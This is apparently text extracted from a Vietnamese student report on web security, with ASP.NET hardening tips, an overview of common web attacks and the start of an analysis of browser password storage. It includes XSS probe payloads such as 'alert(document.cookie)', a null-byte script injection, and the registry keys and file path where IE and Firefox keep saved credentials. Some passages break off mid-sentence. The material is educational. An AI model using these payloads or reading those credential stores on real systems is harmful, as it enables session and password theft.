Để vô hiệu debug, đặt giá trị của "debug" trong bằng "false" Đây là giá trị mặc định nhưng chúng ta nên tự cấu hình lại chứ không nên phụ thuộc vào cấu hình mặc định để bảo đảm tính bảo mật cho hệ thống.
4 Cookies Accessible through Client-Side Script
Trong trình duyệt IE 6.0, Microsoft đã giới thiệu đặc tính cookie mới gọi là "HttpOnly" Trong khi bạn có thể thiết lập các đặc tính chương trình trên một nền tảng của mối cookie, bạn vẫn có thể thiết lập nó trên toàn cầu trong một trang cấu hình.
Bất kỳ cookie nào đặt ở đặc tính này đều chỉ có thể được truy nhập vào từ các code ở trên server.Điều này giúp nâng cao tính bảo mật cho hệ thống của bạn Các hacker đều thuộc lòng cách tấn công CSS (Cross- Site Scripting, còn gọi là XSS) để thêm vào các mã nguồn riêng của mình Khi đó thì tính bảo mật của hệ thống sẽ bị đe dọa nghiêm trọng Các forum, wiki thường hay mắc phải các lỗi này Trong những trang này, các người dùng hợp pháp post lên những suy nghĩ, ý tưởng của họ , những điều này là hoàn toàn public với tất cả mọi người xem trang web Nhưng một kẻ tấn công thì sẽ post lên những bản tin như kiểu
"alert(document.cookie);" Thông tin này bao gồm các script của anh ta và sẽ được trình duyệt biên dịch và chạy Những thông tin này thường nhằm mục đích lấy các thông tin truy cập của người dùng để sử dụng vào các mục đích xấu Nếu đặt các cookie ở "HttpOnly" sẽ giúp các thông tin này không thể thấy được từ phía client và sẽ ngăn cản được việc bị tấn công Vì thế hãy thiết lập "HttpOnly" của "HttpCookie" ở giá trị
"true " Tuy nhiên có một cách còn đơn giản và đáng tin cậy hơn là cấu hình cho hệ thống tự động cho phép "HttpOnly" cho tất cả các cookie Chỉ cần đặt "HttpOnlyCookies " của thành phần thành "true".
CHƯƠNG 3:CÁC KĨ THUẬT TẤN CÔNG WEB CƠ
BẢN
A Lý thuyết
1 KIỂM SOÁT TRUY CẬP WEB (Web Access Control)
Thâm nhập hệ thống qua cửa sau (Back door)
Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng.
Trang 352 CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement)
1.1 Ấn định phiên làm việc (Session Fixation)
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ
thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ.
2.2 Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạodanh người dùng hợp lệ sau khi nạn
nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form.
3 LỢI DỤNG THIẾU SÓT TRONG VIỆC KIỂM TRA
DỮ LIỆU HỢP LỆ (INPUT VALIDATION)
Hacker lợidụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ
thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.
3.1 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt
Trang 36phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống.
3.3 Mã hoá URL (URL Encoding)
Lợi dụng chuẩn mã hóa những kí tựđặc biệt trên URL mà hacker sẽ mã hoá tự
động những kí tự bất hợp lệ-những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này.
3.4 Kí tự Meta (Meta-characters Sử dụng những kí tự đặc biệt
Hacker có thể chènthêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật XSS, ‘ trong SQL….để thực thi câu lệnh
3.5 Vượt qua đường dẫn (Path Traversal):
Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên
hệ thống.
3.6 Chèn mã lệnh thực thi trên trình duyệt nạn nhân
(Cross- Site Scripting):
Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người
dùng hơn là vào hệ thống máy chủ Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này Cross- Site scripting cũng là một kiểu tấn công “session hijacking”.
3.7 Thêm câu lệnh hệ thống (OS Command Injection)
Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm
Trang 37vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ.
3.8 Kí tự rỗng (Null Characters)
Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào
để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình dịch như C++ thì C++
cho rằng \0 là dấu kết thúc chuỗi Ví dụ:
Hacker thêm chuỗi sau:
Ô nhập: đề tài thứ nhất\0<script> alert(document.cookie)</script>
Nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra.
3.9 Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra
giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.
3.10 Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include
file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file,
cơ sở dữ liệu…mà bình thường không thể xem được trên Web site.
3.11 Thao tác trên tham số truyền (Parameter manipulation)
Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những
Trang 38biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng….
3.12 Từ chối dịch vụ (Denial of service (DoS))
Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ.
1 Kiểu tấn công “padding oracle crypto”, kẻ tấn công (hacker) sẽ khai thác khung tổ chức
(framework) ASP.Net, hacker có thể chiếm trọn quyền điều khiển bất kỳ trang web nào sử dụng ASP.NET và thậm chí nghiêm trọng hơn có thể chiếm quyền điều khiển hoàn toàn các máy chủ Windows chứa các trang web này (Người phát hiện: Dương Ngọc Thái và Juliano Rizzo)
2 Evercookie: có thể dùng Javascript để tạo ra các cookie và giấu cookie ở 8 nơi khác nhau
trong trình duyệt, gây khó khăn trong việc muốn xóa sạch chúng Thông qua Evercookie, hacker
có thể đột nhập vào máy tính ngay cả khi cookie đã bị xóa (Người tạo ra: Samy Kamkar)
3 Tấn công Autocomplete: tính năng này sẽ tự động điền vào mẫu (form) có sẵn trên trang
web (tính năng autocomplet tự động bật), lúc đó trang web chứa mã độc có thể “buộc” trình duyệt điền đầy đủ thông tin cá nhân mà dữ liệu được lấy từ các nguồn khác nhau nằm trên máy tính nạn nhân (Người tạo: Jeremiah Grossman)
dữ liệu đó Không một tính năng nào đảm bảo là không có kẽ hở và tôi sẽ trình bày các cách tấn công vào dữ liệu được lưu trữ từ đó tìm ra những cách bảo mật chúng hạn chế các rủi do có thể xảy ra Bài viết được chia làm hai bài
Bài1: Vì sao phải sử dụng tính năng này, cũng như phương thức lưu trữ thuật toán
mã hoá của chúng ra sao
Bài 2: Tấn công khai thác các thông tin từ dữ liệu được lưu trong hệ thống, tìm ra cách hạn chế tấn công
1 Giới thiệu.
Bài viết này sẽ đưa ra cho bạn một phân tích về cơ chế bảo mật, những nguy cơ tiềm ẩn, việc tấn công và việc phòng chống từ hai cách quản lý mật khẩu trong hệ thống cho các web browers cho IE và Firefox Bài
Trang 39viết này cụ thể nói về phiên bản IE 6, 7 và Firefox 1.5 và 2.0 Bài viết bao gồm các vấn đề sau:
- Các cơ chế lưu giữ mật khẩu (Password storage mechanisms): Nó có nghĩa là việc bảo vệ tài khoản người dùng và mật khẩu trong file hệ thống đã được mã hoá
- Tấn công vào trình quản lý mật khẩu: phương pháp tấn công lấy cắp mật khẩu đã được bảo vệ
- Phân tích các rủi do bảo mật: Người dùng đôi khi không nhận ra được hết các vấn đề rủi do có thể xảy ra
- Sử dụng: Tính năng này tăng sự tiện dụng cũng như hạn chế các vấn đề bảo mật có thể xảy đến
- Các biện pháp đối phó: Hành động có thể được thực hiện bởi người dùng và tổ chức để hạn chế rủi do
Internet Explorer và Firefox hiện chiếm đến 95% trong tổng số các trình duyệt đang được sử dụng Tự động nhớ mật khẩu và quản lý mật khẩu là những tính năng được lưu trữ từ web dạng usernames và password, tính năng này bắt đầu được tích hợp để mang lại sự tiện dụng từ phiên bản IE 4 và Firefox 0.7
Mỗi trình duyệt web đều mang đến tính năng để đem lại sự tiện dụng bằng việc nhớ các mật khẩu khó để cho việc xác thực những trang web cụ thể Ví như bạn có thể đặt mật khẩu rất khó cho gmail của bạn và mỗi khi truy cập vào trang web: http://mail.google.com bạn sẽ không cần phải nhập tài khoản cũng như mật khẩu nữa Cả hai trình duyệt IE và Firefox khi người dùng đăng nhập vào một trang web thì đều được hỏi là bạn có lưu lại tài khoản và mật khẩu không, nếu người dùng đồng ý nó sẽ lưu lại tài khoản và mật khẩu Khi người dùng vào lại trang web đó thì tài khoản và mật khẩu được tự động cung cấp
Mặc dù tính năng này đem lại sự tiện dụng cho người dùng, nhưng họ cũng cần phải được cảnh báo những mối quan tâm đến việc quản lý mật khẩu này
2 Một trường hợp quản lý mật khẩu.
Cần thiết để quản lý mật khẩu trực tiếp là rất khó để nhớ rất nhiều mật khẩu và tài khoản cho những trang web cụ thể, khi mà bạn có rất nhiều tài khoản khác nhau cũng như mật khẩu khác nhau cho mỗi trang web Nhưng việc bạn ghi tài khoản và mật khẩu ra một chỗ nào đó thì hoàn toàn không an toàn vì người khác có thể hai thác thông tin đó một cách dể dàng Một người dùng có thể tạo ra những tài khoản khác nhau để tạo
ra khả năng khó khăn cho việc tấn công cũng như tăng cường tính bảo mật
Cân bằng hay một giải pháp tổng thể với user là tin tưởng một ứng dụng chuyên cung cấp tính năng này (lưu trữ được bảo mật, quá trình thực hiện nhanh chóng, và đem lại sự tin tưởng chính xác cho quá trình xác thực từng trang web cụ thể) Nhưng tính năng quản lý mật khẩu không phải sử dụng cho tất cả tình huống, tuy nhiên nó là một công nghệ tạo ra đòn bẩy, và là một lĩnh vực mới để các kẻ tấn công lợi dụng các lỗ hổng bảo mật trong các tính năng này, để đảm bảo vấn đề này yêu cầu người sử dụng máy tính cần phải được xác thực trước khi đăng nhập vào hệ thống
Người dùng cần phải biết rằng hệ thống quản lý này bao khi được sử dụng, cần phải có sự hiểu biết những nguy cơ có thể xảy ra để phòng chống Trong bài viết này với nội dung cách thiết kế cơ bản để bảo mật mật khẩu và tài khoản người dùng trước những tấn công, cũng như những cảnh báo các khả năng tấn công trong tương lai
3 Trước đây
Việc sử dụng cùng tài khoản và mật khẩu cho nhiều trang web được sử dụng nhiều nhất, nhưng một vấn đề rất có khả năng xảy ra là khi kẻ tấn công khai thác được một mật khẩu và tài khoản của một trang web kém
Trang 40bảo mật thì toàn bộ các trang web khác cũng đồng thời bị kẻ tấn công lợi dụng Sử dụng mật khẩu, các kỹ năng để có một mật khẩu dễ dùng nhưng khó tấn công đối với kẻ khai thác, những tiềm ẩn việc sử dụng password toàn bộ đã được nghiên cứu một cách kỹ lưỡng Thêm vào đó Firefox có những nghiên cứu để hạn chế các khai thác có thể xảy ra đối với việc quản lý tài khoản và mật khẩu.
4 Phương thức lưu mật khẩu.
Quá trình ghi nhớ tài khoản và mật khẩu được miêu tả dưới đây Thông tin này đã từng được sử dụng để nghiên cứu các cuộc tấn công của các hãng sản xuất và được miêu tả cụ thể dưới đây
4.1 Lưu trữ tại local
4.1.1 Với phiên bản Internet Explorer 6 & 7
Trên Internet Explorer (phiên bản 4 đến 6) AutoComplete các thông tin từ Web được lưu trữ trong Registry
và cụ thể tại:
Mã hoá usernames and passwords:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\SPWĐịa chỉ trang Web
HKEY_LOCAL_MACHINE\Software\MicrosoftProtected Storage System Provider\
Mã hoá bằng symmetric keys:
HKEY_CURRENT_USER\Software\Microsoft\
Protected Storage System Provider\Data\\
Trên Internet Explorer 7, AutoComplete các thông tin từ Web như tài khoản người dùng mật khẩu hay địa chỉ của trang web đó cũng được lưu trữ trong Registry nhưng chúng được đặt tại những vị trí khac nhau
Mã hoá Usernames and Passwords:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
Toàn bộ trong Registry chỉ được tạo ra khi người dùng save các thông tin login như tài khoản và mật khẩu
từ trang web Và chúng được cấu tạo bằng nhóm từ SavePassWords
4.1.2 Với phiên bản Firefox 1.5 and 2.0
Trên Firefox, Uniform Resource Locators (URLs) bao gồm usernames, và passwords được lưu trên file signons.txt:
Mã hoá usernames và password trong Windows Systems tại:
%userprofile%\ApplicationData\Mozilla\Firefox Profiles\xxxxxxxx.default\signons.txt